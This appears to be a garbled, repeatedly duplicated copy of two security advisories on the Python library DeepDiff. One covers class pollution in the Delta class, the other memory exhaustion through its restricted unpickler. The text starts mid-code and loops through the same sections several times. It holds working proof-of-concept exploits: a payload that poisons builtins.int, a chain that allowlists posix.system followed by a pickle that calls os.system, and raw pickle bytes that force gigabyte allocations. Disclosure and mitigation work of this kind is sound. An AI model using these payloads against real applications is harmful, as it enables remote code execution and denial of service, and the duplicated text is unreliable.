        "values_changed": {"root['tmp']": {"new_value": Opcode("", 0, 0, 0, 0)}},
        "dictionary_item_added": {
            (
                ("root", "GETATTR"),
                ("tmp", "GET"),
                ("__repr__", "GETATTR"),
                ("__globals__", "GETATTR"),
                ("__builtins__", "GET"),
                ("int", "GET"),
            ): "no longer a class"
        },
    }
)


assert isinstance(pollute_int, bytes)

# ------------[ Exploit ]------------
# This could be some example, vulnerable, application.
# The inputs above could be sent via HTTP, for example.

from deepdiff import Delta

# Existing dictionary; it is assumed that it contains
# at least one entry, otherwise a different Delta needs to be
# applied first, adding an entry to the dictionary.
mydict = {"tmp": "foobar"}

# Before pollution
print(int("41") + 1)

# Apply Delta to mydict
result = mydict + Delta(pollute_int)

print(int("1337"))

$ python poc_dos.py
42
Traceback (most recent call last):
  File "/tmp/poc_dos.py", line 43, in <module>
    print(int("1337"))
TypeError: 'str' object is not callable

Remote Code Execution

This script will create a file at /tmp/pwned with the output of id.

 # ------------[ Setup ]------------
import os
import pickle

from deepdiff.helper import Opcode

pollute_safe_to_import = pickle.dumps(
    {
        "values_changed": {"root['tmp']": {"new_value": Opcode("", 0, 0, 0, 0)}},
        "set_item_added": {
            (
                ("root", "GETATTR"),
                ("tmp", "GET"),
                ("__repr__", "GETATTR"),
                ("__globals__", "GETATTR"),
                ("sys", "GET"),
                ("modules", "GETATTR"),
                ("deepdiff.serialization", "GET"),
                ("SAFE_TO_IMPORT", "GETATTR"),
            ): set(["posix.system"])
        },
    }
)


# From https://davidhamann.de/2020/04/05/exploiting-python-pickle/
 class RCE:
    def __reduce__(self):
        cmd = "id > /tmp/pwned"
        return os.system, (cmd,)


# Wrap object with dictionary so that Delta does not crash
rce_pickle = pickle.dumps({"_": RCE()})

assert isinstance(pollute_safe_to_import, bytes)
assert isinstance(rce_pickle, bytes)

# ------------[ Exploit ]------------
 # This could be some example, vulnerable, application.
# The inputs above could be sent via HTTP, for example.

from deepdiff import Delta

# Existing dictionary; it is assumed that it contains
# at least one entry, otherwise a different Delta needs to be
# applied first, adding an entry to the dictionary.
mydict = {"tmp": "foobar"}

# Apply Delta to mydict
result = mydict + Delta(pollute_safe_to_import)

Delta(rce_pickle)  # no need to apply this Delta

$ python poc_rce.py
 $ cat /tmp/pwned
uid=1000(dtc) gid=100(users) groups=100(users),1(wheel)

Who is affected?

Only applications that pass (untrusted) user input directly into Delta are affected.

While input in the form of bytes is the most flexible, there are certainly other gadgets, depending on the application, that can be used via just a dictionary. This dictionary could easily be parsed, for example, from JSON. One simple example would be overriding app.secret_key of a Flask application, which would allow an attacker to sign arbitrary cookies, leading to an authentication bypass.

Mitigations

A straightforward mitigation is preventing traversal through private keys, like it is already done in the path parser. This would have to be implemented in both deepdiff.path._get_nested_obj and deepdiff.path._get_nested_obj_and_force, and possibly in deepdiff.delta.Delta._get_elements_and_details. Example code that raises an error when traversing these properties:

if elem.startswith("__") and elem.endswith("__"):
  raise ValueError("traversing dunder attributes is not allowed")

However, if it is desirable to still support attributes starting and ending with __, but still protect against this vulnerability, it is possible to only forbid __globals__ and __builtins__, which stops the most serious cases of class pollution (but not all). This was the solution adopted by pydash: https://github.com/dgilland/pydash/issues/180

Summary

The pickle unpickler _RestrictedUnpickler validates which classes can be loaded but does not limit their constructor arguments. A few of the types in SAFE_TO_IMPORT have constructors that allocate memory proportional to their input (builtins.bytes, builtins.list, builtins.range). A 40-byte pickle payload can force 10+ GB of memory, which crashes applications that load delta objects or call pickle_load with untrusted data.

Details

CVE-2025-58367 hardened the delta class against pollution and remote code execution by converting SAFE_TO_IMPORT to a frozenset and blocking traversal. _RestrictedUnpickler.find_class only gates which classes can be loaded. It doesn't intercept REDUCE opcodes or validate what is passed to constructors.

It can be exploited in 2 ways.

1 - During pickle_load

A pickle that calls bytes(N) using opcodes permitted by the allowlist. The allocation happens during deserialization and before the delta processes anything. The restricted unpickler does not override load_reduce so any allowed class can be called.

GLOBAL builtins.bytes      (passes find_class check — serialization.py:353)
INT    10000000000          (10 billion)
TUPLE + REDUCE             → bytes(10**10) → allocates ~9.3 GB

2 - During delta application

A valid diff dict that first sets a value to a large int via values_changed, then converts it to bytes via type_changes. It works because _do_values_changed() runs before _do_type_changes() in Delta.add() in delta.py line 183. Step 1 modifies the target in place before step 2 reads the modified value and calls new_type(current_old_value) at delta.py line 576 with no size guard.

PoC

The script uses Python's resource module to cap memory to 1 GB so you can reproduce safely without hitting the OOM killer. It loads deepdiff first, applies the limit, then runs the payload. Change 10**8 to 10**10 for the full 9.3 GB allocation.

import resource
import sys

def limit_memory(maxsize_mb):
    """Cap virtual memory for this process."""
    soft, hard = resource.getrlimit(resource.RLIMIT_AS)
    maxsize_bytes = maxsize_mb * 1024 * 1024
    try:
        resource.setrlimit(resource.RLIMIT_AS, (maxsize_bytes, hard))
        print(f"[*] Memory limit set to {maxsize_mb} MB")
    except ValueError:
        print("[!] Failed to set memory limit.")
        sys.exit(1)

# Load heavy imports before enforcing the limit
from deepdiff import Delta
from deepdiff.serialization import pickle_dump, pickle_load

limit_memory(1024)

# --- Delta application path ---
payload_dict = {
    'values_changed': {"root['x']": {'new_value': 10**8}},
    'type_changes': {"root['x']": {'new_type': bytes}},
}

payload1 = pickle_dump(payload_dict)
print(f"Payload size: {len(payload1)} bytes")

target = {'x': 'anything'}
try:
    result = target + Delta(payload1)
    print(f"Allocated: {len(result['x']) // 1024 // 1024} MB")
    print(f"Amplification: {len(result['x']) // len(payload1)}x")
except MemoryError:
    print("[!] MemoryError — payload tried to allocate too much")

# --- Raw pickle path ---
payload2 = (
    b"(dp0\n"
    b"S'_'\n"
    b"cbuiltins\nbytes\n"
    b"(I100000000\n"
    b"tR"
    b"s."
)

print(f"Payload size: {len(payload2)} bytes")
try:
    result2 = pickle_load(payload2)
    print(f"Allocated: {len(result2['_']) // 1024 // 1024} MB")
except MemoryError:
    print("[!] MemoryError — payload tried to allocate too much")

Output:

[*] Memory limit set to 1024 MB
Payload size: 123 bytes
Allocated: 95 MB
Amplification: 813008x
Payload size: 42 bytes
Allocated: 95 MB

Impact

Denial of service. Any application that deserializes delta objects or calls pickle_load with untrusted inputs can be crashed with a small payload. The restricted unpickler is meant to make this safe. It prevents remote code execution but doesn't prevent resource exhaustion.

The amplification is large. 800,000x for delta and 2,000,000x for raw pickle.

Impacted users are anyone who accepts serialized delta objects from untrusted sources — network APIs, file uploads, message queues, etc.

Summary

Python class pollution is a novel vulnerability categorized under CWE-915. The Delta class is vulnerable to class pollution via its constructor, and when combined with a gadget available in DeltaDiff itself, it can lead to Denial of Service and Remote Code Execution (via insecure Pickle deserialization).

The gadget available in DeepDiff allows deepdiff.serialization.SAFE_TO_IMPORT to be modified to allow dangerous classes such as posix.system, and then perform insecure Pickle deserialization via the Delta class. This potentially allows any Python code to be executed, given that the input to Delta is user-controlled.

Depending on the application where DeepDiff is used, this can also lead to other vulnerabilities. For example, in a web application, it might be possible to bypass authentication via class pollution.

Details

The Delta class can take different object types as a parameter in its constructor, such as a DeltaDiff object, a dictionary, or even just bytes (that are deserialized via Pickle).

When it takes a dictionary, it is usually in the following format:

Delta({"dictionary_item_added": {"root.myattr['foo']": "bar"}})

Trying to apply class pollution here does not work, because there is already a filter in place: https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/path.py#L23

However, this code only runs when parsing the path from a string. The _path_to_elements function helpfully returns the given input if it is already a list/tuple: https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/path.py#L52-L53

This means that it is possible to pass the path as the internal representation used by Delta, bypassing the filter:

Delta(
    {
        "dictionary_item_added": {
            (
                ("root", "GETATTR"),
                ("__init__", "GETATTR"),
                ("__globals__", "GETATTR"),
                ("PWNED", "GET"),
            ): 1337
        }
    },
)

Going back to the possible inputs of Delta, when it takes a bytes as input, it uses pickle to deserialize them. Care was taken by DeepDiff to prevent arbitrary code execution via the SAFE_TO_IMPORT allow list. https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/serialization.py#L62-L98 However, using the class pollution in the Delta, an attacker can add new entries to this set.

This then allows a second call to Delta to unpickle an insecure class that runs os.system, for example.

Using dict

Usually, class pollution does not work when traversal starts at a dict/list/tuple, because it is not possible to reach __globals__ from there. However, using two calls to Delta (or just one call if the target dictionary that already contains at least one entry) it is possible to first change one entry of the dictionary to be of type deepdiff.helper.Opcode, which then allows traversal to __globals__, and notably sys.modules, which in turn allows traversal to any module already loaded by Python. Passing Opcode around can be done via pickle, which Delta will happily accept given it is in the default allow list.

Proof of Concept

With deepdiff 8.6.0 installed, run the following scripts for each proof of concept. All input to Delta is assumed to be user-controlled.

Denial of Service

This script will pollute the value of builtins.int, preventing the class from being used and making code crash whenever invoked.

# ------------[ Setup ]------------
import pickle
 
from deepdiff.helper import Opcode

pollute_int = pickle.dumps(
    {
        "values_changed": {"root['tmp']": {"new_value": Opcode("", 0, 0, 0, 0)}},
        "dictionary_item_added": {
            (
                ("root", "GETATTR"),
                ("tmp", "GET"),
                ("__repr__", "GETATTR"),
                ("__globals__", "GETATTR"),
                ("__builtins__", "GET"),
                ("int", "GET"),
            ): "no longer a class"
        },
    }
)


assert isinstance(pollute_int, bytes)

# ------------[ Exploit ]------------
# This could be some example, vulnerable, application.
# The inputs above could be sent via HTTP, for example.

from deepdiff import Delta

# Existing dictionary; it is assumed that it contains
# at least one entry, otherwise a different Delta needs to be
# applied first, adding an entry to the dictionary.
mydict = {"tmp": "foobar"}

# Before pollution
print(int("41") + 1)

# Apply Delta to mydict
result = mydict + Delta(pollute_int)

print(int("1337"))

$ python poc_dos.py
42
Traceback (most recent call last):
  File "/tmp/poc_dos.py", line 43, in <module>
    print(int("1337"))
TypeError: 'str' object is not callable

Remote Code Execution

This script will create a file at /tmp/pwned with the output of id.

 # ------------[ Setup ]------------
import os
import pickle

from deepdiff.helper import Opcode

pollute_safe_to_import = pickle.dumps(
    {
        "values_changed": {"root['tmp']": {"new_value": Opcode("", 0, 0, 0, 0)}},
        "set_item_added": {
            (
                ("root", "GETATTR"),
                ("tmp", "GET"),
                ("__repr__", "GETATTR"),
                ("__globals__", "GETATTR"),
                ("sys", "GET"),
                ("modules", "GETATTR"),
                ("deepdiff.serialization", "GET"),
                ("SAFE_TO_IMPORT", "GETATTR"),
            ): set(["posix.system"])
        },
    }
)


# From https://davidhamann.de/2020/04/05/exploiting-python-pickle/
 class RCE:
    def __reduce__(self):
        cmd = "id > /tmp/pwned"
        return os.system, (cmd,)


# Wrap object with dictionary so that Delta does not crash
rce_pickle = pickle.dumps({"_": RCE()})

assert isinstance(pollute_safe_to_import, bytes)
assert isinstance(rce_pickle, bytes)

# ------------[ Exploit ]------------
 # This could be some example, vulnerable, application.
# The inputs above could be sent via HTTP, for example.

from deepdiff import Delta

# Existing dictionary; it is assumed that it contains
# at least one entry, otherwise a different Delta needs to be
# applied first, adding an entry to the dictionary.
mydict = {"tmp": "foobar"}

# Apply Delta to mydict
result = mydict + Delta(pollute_safe_to_import)

Delta(rce_pickle)  # no need to apply this Delta

$ python poc_rce.py
 $ cat /tmp/pwned
uid=1000(dtc) gid=100(users) groups=100(users),1(wheel)

Who is affected?

Only applications that pass (untrusted) user input directly into Delta are affected.

While input in the form of bytes is the most flexible, there are certainly other gadgets, depending on the application, that can be used via just a dictionary. This dictionary could easily be parsed, for example, from JSON. One simple example would be overriding app.secret_key of a Flask application, which would allow an attacker to sign arbitrary cookies, leading to an authentication bypass.

Mitigations

A straightforward mitigation is preventing traversal through private keys, like it is already done in the path parser. This would have to be implemented in both deepdiff.path._get_nested_obj and deepdiff.path._get_nested_obj_and_force, and possibly in deepdiff.delta.Delta._get_elements_and_details. Example code that raises an error when traversing these properties:

if elem.startswith("__") and elem.endswith("__"):
  raise ValueError("traversing dunder attributes is not allowed")

However, if it is desirable to still support attributes starting and ending with __, but still protect against this vulnerability, it is possible to only forbid __globals__ and __builtins__, which stops the most serious cases of class pollution (but not all). This was the solution adopted by pydash: https://github.com/dgilland/pydash/issues/180

Summary

The pickle unpickler _RestrictedUnpickler validates which classes can be loaded but does not limit their constructor arguments. A few of the types in SAFE_TO_IMPORT have constructors that allocate memory proportional to their input (builtins.bytes, builtins.list, builtins.range). A 40-byte pickle payload can force 10+ GB of memory, which crashes applications that load delta objects or call pickle_load with untrusted data.

Details

CVE-2025-58367 hardened the delta class against pollution and remote code execution by converting SAFE_TO_IMPORT to a frozenset and blocking traversal. _RestrictedUnpickler.find_class only gates which classes can be loaded. It doesn't intercept REDUCE opcodes or validate what is passed to constructors.

It can be exploited in 2 ways.

1 - During pickle_load

A pickle that calls bytes(N) using opcodes permitted by the allowlist. The allocation happens during deserialization and before the delta processes anything. The restricted unpickler does not override load_reduce so any allowed class can be called.

GLOBAL builtins.bytes      (passes find_class check — serialization.py:353)
INT    10000000000          (10 billion)
TUPLE + REDUCE             → bytes(10**10) → allocates ~9.3 GB

2 - During delta application

A valid diff dict that first sets a value to a large int via values_changed, then converts it to bytes via type_changes. It works because _do_values_changed() runs before _do_type_changes() in Delta.add() in delta.py line 183. Step 1 modifies the target in place before step 2 reads the modified value and calls new_type(current_old_value) at delta.py line 576 with no size guard.

PoC

The script uses Python's resource module to cap memory to 1 GB so you can reproduce safely without hitting the OOM killer. It loads deepdiff first, applies the limit, then runs the payload. Change 10**8 to 10**10 for the full 9.3 GB allocation.

import resource
import sys

def limit_memory(maxsize_mb):
    """Cap virtual memory for this process."""
    soft, hard = resource.getrlimit(resource.RLIMIT_AS)
    maxsize_bytes = maxsize_mb * 1024 * 1024
    try:
        resource.setrlimit(resource.RLIMIT_AS, (maxsize_bytes, hard))
        print(f"[*] Memory limit set to {maxsize_mb} MB")
    except ValueError:
        print("[!] Failed to set memory limit.")
        sys.exit(1)

# Load heavy imports before enforcing the limit
from deepdiff import Delta
from deepdiff.serialization import pickle_dump, pickle_load

limit_memory(1024)

# --- Delta application path ---
payload_dict = {
    'values_changed': {"root['x']": {'new_value': 10**8}},
    'type_changes': {"root['x']": {'new_type': bytes}},
}

payload1 = pickle_dump(payload_dict)
print(f"Payload size: {len(payload1)} bytes")

target = {'x': 'anything'}
try:
    result = target + Delta(payload1)
    print(f"Allocated: {len(result['x']) // 1024 // 1024} MB")
    print(f"Amplification: {len(result['x']) // len(payload1)}x")
except MemoryError:
    print("[!] MemoryError — payload tried to allocate too much")

# --- Raw pickle path ---
payload2 = (
    b"(dp0\n"
    b"S'_'\n"
    b"cbuiltins\nbytes\n"
    b"(I100000000\n"
    b"tR"
    b"s."
)

print(f"Payload size: {len(payload2)} bytes")
try:
    result2 = pickle_load(payload2)
    print(f"Allocated: {len(result2['_']) // 1024 // 1024} MB")
except MemoryError:
    print("[!] MemoryError — payload tried to allocate too much")

Output:

[*] Memory limit set to 1024 MB
Payload size: 123 bytes
Allocated: 95 MB
Amplification: 813008x
Payload size: 42 bytes
Allocated: 95 MB

Impact

Denial of service. Any application that deserializes delta objects or calls pickle_load with untrusted inputs can be crashed with a small payload. The restricted unpickler is meant to make this safe. It prevents remote code execution but doesn't prevent resource exhaustion.

The amplification is large. 800,000x for delta and 2,000,000x for raw pickle.

Impacted users are anyone who accepts serialized delta objects from untrusted sources — network APIs, file uploads, message queues, etc.

Summary

Python class pollution is a novel vulnerability categorized under CWE-915. The Delta class is vulnerable to class pollution via its constructor, and when combined with a gadget available in DeltaDiff itself, it can lead to Denial of Service and Remote Code Execution (via insecure Pickle deserialization).

The gadget available in DeepDiff allows deepdiff.serialization.SAFE_TO_IMPORT to be modified to allow dangerous classes such as posix.system, and then perform insecure Pickle deserialization via the Delta class. This potentially allows any Python code to be executed, given that the input to Delta is user-controlled.

Depending on the application where DeepDiff is used, this can also lead to other vulnerabilities. For example, in a web application, it might be possible to bypass authentication via class pollution.

Details

The Delta class can take different object types as a parameter in its constructor, such as a DeltaDiff object, a dictionary, or even just bytes (that are deserialized via Pickle).

When it takes a dictionary, it is usually in the following format:

Delta({"dictionary_item_added": {"root.myattr['foo']": "bar"}})

Trying to apply class pollution here does not work, because there is already a filter in place: https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/path.py#L23

However, this code only runs when parsing the path from a string. The _path_to_elements function helpfully returns the given input if it is already a list/tuple: https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/path.py#L52-L53

This means that it is possible to pass the path as the internal representation used by Delta, bypassing the filter:

Delta(
    {
        "dictionary_item_added": {
            (
                ("root", "GETATTR"),
                ("__init__", "GETATTR"),
                ("__globals__", "GETATTR"),
                ("PWNED", "GET"),
            ): 1337
        }
    },
)

Going back to the possible inputs of Delta, when it takes a bytes as input, it uses pickle to deserialize them. Care was taken by DeepDiff to prevent arbitrary code execution via the SAFE_TO_IMPORT allow list. https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/serialization.py#L62-L98 However, using the class pollution in the Delta, an attacker can add new entries to this set.

This then allows a second call to Delta to unpickle an insecure class that runs os.system, for example.

Using dict

Usually, class pollution does not work when traversal starts at a dict/list/tuple, because it is not possible to reach __globals__ from there. However, using two calls to Delta (or just one call if the target dictionary that already contains at least one entry) it is possible to first change one entry of the dictionary to be of type deepdiff.helper.Opcode, which then allows traversal to __globals__, and notably sys.modules, which in turn allows traversal to any module already loaded by Python. Passing Opcode around can be done via pickle, which Delta will happily accept given it is in the default allow list.

Proof of Concept

With deepdiff 8.6.0 installed, run the following scripts for each proof of concept. All input to Delta is assumed to be user-controlled.

Denial of Service

This script will pollute the value of builtins.int, preventing the class from being used and making code crash whenever invoked.

# ------------[ Setup ]------------
import pickle
 
from deepdiff.helper import Opcode

pollute_int = pickle.dumps(
    {
        "values_changed": {"root['tmp']": {"new_value": Opcode("", 0, 0, 0, 0)}},
        "dictionary_item_added": {
            (
                ("root", "GETATTR"),
                ("tmp", "GET"),
                ("__repr__", "GETATTR"),
                ("__globals__", "GETATTR"),
                ("__builtins__", "GET"),
                ("int", "GET"),
            ): "no longer a class"
        },
    }
)


assert isinstance(pollute_int, bytes)

# ------------[ Exploit ]------------
# This could be some example, vulnerable, application.
# The inputs above could be sent via HTTP, for example.

from deepdiff import Delta

# Existing dictionary; it is assumed that it contains
# at least one entry, otherwise a different Delta needs to be
# applied first, adding an entry to the dictionary.
mydict = {"tmp": "foobar"}

# Before pollution
print(int("41") + 1)

# Apply Delta to mydict
result = mydict + Delta(pollute_int)

print(int("1337"))

$ python poc_dos.py
42
Traceback (most recent call last):
  File "/tmp/poc_dos.py", line 43, in <module>
    print(int("1337"))
TypeError: 'str' object is not callable

Remote Code Execution

This script will create a file at /tmp/pwned with the output of id.

 # ------------[ Setup ]------------
import os
import pickle

from deepdiff.helper import Opcode

pollute_safe_to_import = pickle.dumps(
    {
        "values_changed": {"root['tmp']": {"new_value": Opcode("", 0, 0, 0, 0)}},
        "set_item_added": {
            (
                ("root", "GETATTR"),
                ("tmp", "GET"),
                ("__repr__", "GETATTR"),
                ("__globals__", "GETATTR"),
                ("sys", "GET"),
                ("modules", "GETATTR"),
                ("deepdiff.serialization", "GET"),
                ("SAFE_TO_IMPORT", "GETATTR"),
            ): set(["posix.system"])
        },
    }
)


# From https://davidhamann.de/2020/04/05/exploiting-python-pickle/
 class RCE:
    def __reduce__(self):
        cmd = "id > /tmp/pwned"
        return os.system, (cmd,)


# Wrap object with dictionary so that Delta does not crash
rce_pickle = pickle.dumps({"_": RCE()})

assert isinstance(pollute_safe_to_import, bytes)
assert isinstance(rce_pickle, bytes)

# ------------[ Exploit ]------------
 # This could be some example, vulnerable, application.
# The inputs above could be sent via HTTP, for example.

from deepdiff import Delta

# Existing dictionary; it is assumed that it contains
# at least one entry, otherwise a different Delta needs to be
# applied first, adding an entry to the dictionary.
mydict = {"tmp": "foobar"}

# Apply Delta to mydict
result = mydict + Delta(pollute_safe_to_import)

Delta(rce_pickle)  # no need to apply this Delta

$ python poc_rce.py
 $ cat /tmp/pwned
uid=1000(dtc) gid=100(users) groups=100(users),1(wheel)

Who is affected?

Only applications that pass (untrusted) user input directly into Delta are affected.

While input in the form of bytes is the most flexible, there are certainly other gadgets, depending on the application, that can be used via just a dictionary. This dictionary could easily be parsed, for example, from JSON. One simple example would be overriding app.secret_key of a Flask application, which would allow an attacker to sign arbitrary cookies, leading to an authentication bypass.

Mitigations

A straightforward mitigation is preventing traversal through private keys, like it is already done in the path parser. This would have to be implemented in both deepdiff.path._get_nested_obj and deepdiff.path._get_nested_obj_and_force, and possibly in deepdiff.delta.Delta._get_elements_and_details. Example code that raises an error when traversing these properties:

if elem.startswith("__") and elem.endswith("__"):
  raise ValueError("traversing dunder attributes is not allowed")

However, if it is desirable to still support attributes starting and ending with __, but still protect against this vulnerability, it is possible to only forbid __globals__ and __builtins__, which stops the most serious cases of class pollution (but not all). This was the solution adopted by pydash: https://github.com/dgilland/pydash/issues/180

Summary

The pickle unpickler _RestrictedUnpickler validates which classes can be loaded but does not limit their constructor arguments. A few of the types in SAFE_TO_IMPORT have constructors that allocate memory proportional to their input (builtins.bytes, builtins.list, builtins.range). A 40-byte pickle payload can force 10+ GB of memory, which crashes applications that load delta objects or call pickle_load with untrusted data.

Details

CVE-2025-58367 hardened the delta class against pollution and remote code execution by converting SAFE_TO_IMPORT to a frozenset and blocking traversal. _RestrictedUnpickler.find_class only gates which classes can be loaded. It doesn't intercept REDUCE opcodes or validate what is passed to constructors.

It can be exploited in 2 ways.

1 - During pickle_load

A pickle that calls bytes(N) using opcodes permitted by the allowlist. The allocation happens during deserialization and before the delta processes anything. The restricted unpickler does not override load_reduce so any allowed class can be called.

GLOBAL builtins.bytes      (passes find_class check — serialization.py:353)
INT    10000000000          (10 billion)
TUPLE + REDUCE             → bytes(10**10) → allocates ~9.3 GB

2 - During delta application

A valid diff dict that first sets a value to a large int via values_changed, then converts it to bytes via type_changes. It works because _do_values_changed() runs before _do_type_changes() in Delta.add() in delta.py line 183. Step 1 modifies the target in place before step 2 reads the modified value and calls new_type(current_old_value) at delta.py line 576 with no size guard.

PoC

The script uses Python's resource module to cap memory to 1 GB so you can reproduce safely without hitting the OOM killer. It loads deepdiff first, applies the limit, then runs the payload. Change 10**8 to 10**10 for the full 9.3 GB allocation.

import resource
import sys

def limit_memory(maxsize_mb):
    """Cap virtual memory for this process."""
    soft, hard = resource.getrlimit(resource.RLIMIT_AS)
    maxsize_bytes = maxsize_mb * 1024 * 1024
    try:
        resource.setrlimit(resource.RLIMIT_AS, (maxsize_bytes, hard))
        print(f"[*] Memory limit set to {maxsize_mb} MB")
    except ValueError:
        print("[!] Failed to set memory limit.")
        sys.exit(1)

# Load heavy imports before enforcing the limit
from deepdiff import Delta
from deepdiff.serialization import pickle_dump, pickle_load

limit_memory(1024)

# --- Delta application path ---
payload_dict = {
    'values_changed': {"root['x']": {'new_value': 10**8}},
    'type_changes': {"root['x']": {'new_type': bytes}},
}

payload1 = pickle_dump(payload_dict)
print(f"Payload size: {len(payload1)} bytes")

target = {'x': 'anything'}
try:
    result = target + Delta(payload1)
    print(f"Allocated: {len(result['x']) // 1024 // 1024} MB")
    print(f"Amplification: {len(result['x']) // len(payload1)}x")
except MemoryError:
    print("[!] MemoryError — payload tried to allocate too much")

# --- Raw pickle path ---
payload2 = (
    b"(dp0\n"
    b"S'_'\n"
    b"cbuiltins\nbytes\n"
    b"(I100000000\n"
    b"tR"
    b"s."
)

print(f"Payload size: {len(payload2)} bytes")
try:
    result2 = pickle_load(payload2)
    print(f"Allocated: {len(result2['_']) // 1024 // 1024} MB")
except MemoryError:
    print("[!] MemoryError — payload tried to allocate too much")

Output:

[*] Memory limit set to 1024 MB
Payload size: 123 bytes
Allocated: 95 MB
Amplification: 813008x
Payload size: 42 bytes
Allocated: 95 MB

Impact

Denial of service. Any application that deserializes delta objects or calls pickle_load with untrusted inputs can be crashed with a small payload. The restricted unpickler is meant to make this safe. It prevents remote code execution but doesn't prevent resource exhaustion.

The amplification is large. 800,000x for delta and 2,000,000x for raw pickle.

Impacted users are anyone who accepts serialized delta objects from untrusted sources — network APIs, file uploads, message queues, etc.

Summary

Python class pollution is a novel vulnerability categorized under CWE-915. The Delta class is vulnerable to class pollution via its constructor, and when combined with a gadget available in DeltaDiff itself, it can lead to Denial of Service and Remote Code Execution (via insecure Pickle deserialization).

The gadget available in DeepDiff allows deepdiff.serialization.SAFE_TO_IMPORT to be modified to allow dangerous classes such as posix.system, and then perform insecure Pickle deserialization via the Delta class. This potentially allows any Python code to be executed, given that the input to Delta is user-controlled.

Depending on the application where DeepDiff is used, this can also lead to other vulnerabilities. For example, in a web application, it might be possible to bypass authentication via class pollution.

Details

The Delta class can take different object types as a parameter in its constructor, such as a DeltaDiff object, a dictionary, or even just bytes (that are deserialized via Pickle).

When it takes a dictionary, it is usually in the following format:

Delta({"dictionary_item_added": {"root.myattr['foo']": "bar"}})

Trying to apply class pollution here does not work, because there is already a filter in place: https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/path.py#L23

However, this code only runs when parsing the path from a string. The _path_to_elements function helpfully returns the given input if it is already a list/tuple: https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/path.py#L52-L53

This means that it is possible to pass the path as the internal representation used by Delta, bypassing the filter:

Delta(
    {
        "dictionary_item_added": {
            (
                ("root", "GETATTR"),
                ("__init__", "GETATTR"),
                ("__globals__", "GETATTR"),
                ("PWNED", "GET"),
            ): 1337
        }
    },
)

Going back to the possible inputs of Delta, when it takes a bytes as input, it uses pickle to deserialize them. Care was taken by DeepDiff to prevent arbitrary code execution via the SAFE_TO_IMPORT allow list. https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/serialization.py#L62-L98 However, using the class pollution in the Delta, an attacker can add new entries to this set.

This then allows a second call to Delta to unpickle an insecure class that runs os.system, for example.

Using dict

Usually, class pollution does not work when traversal starts at a dict/list/tuple, because it is not possible to reach __globals__ from there. However, using two calls to Delta (or just one call if the target dictionary that already contains at least one entry) it is possible to first change one entry of the dictionary to be of type deepdiff.helper.Opcode, which then allows traversal to __globals__, and notably sys.modules, which in turn allows traversal to any module already loaded by Python. Passing Opcode around can be done via pickle, which Delta will happily accept given it is in the default allow list.

Proof of Concept

With deepdiff 8.6.0 installed, run the following scripts for each proof of concept. All input to Delta is assumed to be user-controlled.

Denial of Service

This script will pollute the value of builtins.int, preventing the class from being used and making code crash whenever invoked.

# ------------[ Setup ]------------
import pickle
 
from deepdiff.helper import Opcode

pollute_int = pickle.dumps(
    {
        "values_changed": {"root['tmp']": {"new_value": Opcode("", 0, 0, 0, 0)}},
        "dictionary_item_added": {
            (
                ("root", "GETATTR"),
                ("tmp", "GET"),
                ("__repr__", "GETATTR"),
                ("__globals__", "GETATTR"),
                ("__builtins__", "GET"),
                ("int", "GET"),
            ): "no longer a class"
        },
    }
)


assert isinstance(pollute_int, bytes)

# ------------[ Exploit ]------------
# This could be some example, vulnerable, application.
# The inputs above could be sent via HTTP, for example.

from deepdiff import Delta

# Existing dictionary; it is assumed that it contains
# at least one entry, otherwise a different Delta needs to be
# applied first, adding an entry to the dictionary.
mydict = {"tmp": "foobar"}

# Before pollution
print(int("41") + 1)

# Apply Delta to mydict
result = mydict + Delta(pollute_int)

print(int("1337"))

$ python poc_dos.py
42
Traceback (most recent call last):
  File "/tmp/poc_dos.py", line 43, in <module>
    print(int("1337"))
TypeError: 'str' object is not callable

Remote Code Execution

This script will create a file at /tmp/pwned with the output of id.

 # ------------[ Setup ]------------
import os
import pickle

from deepdiff.helper import Opcode

pollute_safe_to_import = pickle.dumps(
    {
        "values_changed": {"root['tmp']": {"new_value": Opcode("", 0, 0, 0, 0)}},
        "set_item_added": {
            (
                ("root", "GETATTR"),
                ("tmp", "GET"),
                ("__repr__", "GETATTR"),
                ("__globals__", "GETATTR"),
                ("sys", "GET"),
                ("modules", "GETATTR"),
                ("deepdiff.serialization", "GET"),
                ("SAFE_TO_IMPORT", "GETATTR"),
            ): set(["posix.system"])
        },
    }
)


# From https://davidhamann.de/2020/04/05/exploiting-python-pickle/
 class RCE:
    def __reduce__(self):
        cmd = "id > /tmp/pwned"
        return os.system, (cmd,)


# Wrap object with dictionary so that Delta does not crash
rce_pickle = pickle.dumps({"_": RCE()})

assert isinstance(pollute_safe_to_import, bytes)
assert isinstance(rce_pickle, bytes)

# ------------[ Exploit ]------------
 # This could be some example, vulnerable, application.
# The inputs above could be sent via HTTP, for example.

from deepdiff import Delta

# Existing dictionary; it is assumed that it contains
# at least one entry, otherwise a different Delta needs to be
# applied first, adding an entry to the dictionary.
mydict = {"tmp": "foobar"}

# Apply Delta to mydict
result = mydict + Delta(pollute_safe_to_import)

Delta(rce_pickle)  # no need to apply this Delta

$ python poc_rce.py
 $ cat /tmp/pwned
uid=1000(dtc) gid=100(users) groups=100(users),1(wheel)

Who is affected?

Only applications that pass (untrusted) user input directly into Delta are affected.

While input in the form of bytes is the most flexible, there are certainly other gadgets, depending on the application, that can be used via just a dictionary. This dictionary could easily be parsed, for example, from JSON. One simple example would be overriding app.secret_key of a Flask application, which would allow an attacker to sign arbitrary cookies, leading to an authentication bypass.

Mitigations

A straightforward mitigation is preventing traversal through private keys, like it is already done in the path parser. This would have to be implemented in both deepdiff.path._get_nested_obj and deepdiff.path._get_nested_obj_and_force, and possibly in deepdiff.delta.Delta._get_elements_and_details. Example code that raises an error when traversing these properties:

if elem.startswith("__") and elem.endswith("__"):
  raise ValueError("traversing dunder attributes is not allowed")

